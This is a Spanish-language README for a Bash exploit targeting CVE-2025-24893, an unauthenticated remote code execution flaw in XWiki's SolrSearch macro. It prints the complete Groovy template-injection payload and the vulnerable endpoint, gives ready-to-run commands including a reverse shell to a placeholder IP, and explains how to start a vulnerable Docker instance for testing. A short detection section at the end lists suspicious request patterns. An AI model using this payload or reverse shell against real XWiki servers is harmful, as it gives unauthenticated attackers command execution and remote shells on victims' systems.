
Exploit de Bash para CVE-2025-24893, RCE no autenticado en XWiki Platform, que utiliza inyección de plantillas en la macro SolrSearch para ejecutar comandos arbitrarios del sistema.
Este script es una implementación renovada en Bash de un exploit que apunta a las versiones de XWiki Platform afectadas por CVE-2025-24893. Aprovecha una vulnerabilidad crítica de ejecución remota de código no autenticado que permite a atacantes ejecutar código Groovy arbitrario mediante un fallo de inyección de plantillas en la macro SolrSearch.
Las implementaciones originales del exploit en Python fueron creadas por varios investigadores de seguridad y se adaptan aquí para usuarios de Bash con una ejecución simplificada y usabilidad mejorada.
text cuando se accede a través del endpoint RSS de medios, lo que permite a los atacantes inyectar código Groovy malicioso en la cadena de renderizado sin autenticación.curl: Para enviar solicitudes HTTP.jq: Para la codificación URL del payload.Otorga los permisos de ejecución:
chmod +x CVE-2025-24893
Ejecuta el script con los argumentos requeridos:
./CVE-2025-24893 <url_objetivo> <comando>
| Parámetro | Descripción |
|---|---|
<url_objetivo> | La URL de XWiki objetivo (ej., http://ejemplo.com o https://xwiki.ejemplo.org). El protocolo es opcional. |
<comando> | El comando del sistema a ejecutar en el servidor objetivo. |
Verificar si el objetivo es vulnerable (ejecutar el comando id):
./CVE-2025-24893 http://xwiki-vulnerable.ejemplo.com "id"
Obtener información del sistema:
./CVE-2025-24893 http://xwiki-vulnerable.ejemplo.com "uname -a"
Crear un archivo de prueba:
./CVE-2025-24893 http://xwiki-vulnerable.ejemplo.com "touch /tmp/pwned"
Shell inversa (reemplaza con tu IP y puerto):
./CVE-2025-24893 http://xwiki-vulnerable.ejemplo.com "bash -c 'bash -i >& /dev/tcp/TU_IP/TU_PUERTO 0>&1'"
Análisis de argumentos de línea de comandos:
http:// si no se especifica un protocolo.Construcción del payload:
.execute().}}}{{async async=false}}{{groovy}}<código>{{/groovy}}{{/async}}Codificación URL:
jq para una transmisión HTTP adecuada.Explotación:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload_codificado>La cadena de explotación funciona de la siguiente manera:
}}}{{async async=false}}{{groovy}}'<comando>'.execute();{{/groovy}}{{/async}}
}}} - Cierra cualquier contexto de macro existente{{async async=false}} - Asegura una ejecución síncrona{{groovy}}...{{/groovy}} - Envuelve el código Groovy malicioso'<comando>'.execute(); - Ejecuta el comando del sistema especificadoPara fines de prueba, puedes configurar una instancia vulnerable de XWiki usando Docker:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Espera a que XWiki se inicie (puede tardar 1-2 minutos)
./CVE-2025-24893 http://localhost:8080 "whoami"
La explotación exitosa de esta vulnerabilidad permite a un atacante no autenticado:
Según CISA y múltiples proveedores de seguridad:
Monitorea solicitudes sospechosas al endpoint SolrSearch:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Busca patrones que contengan:
{{groovy}}{{async}}.execute()/tmp u otros directorios con permisos de escritura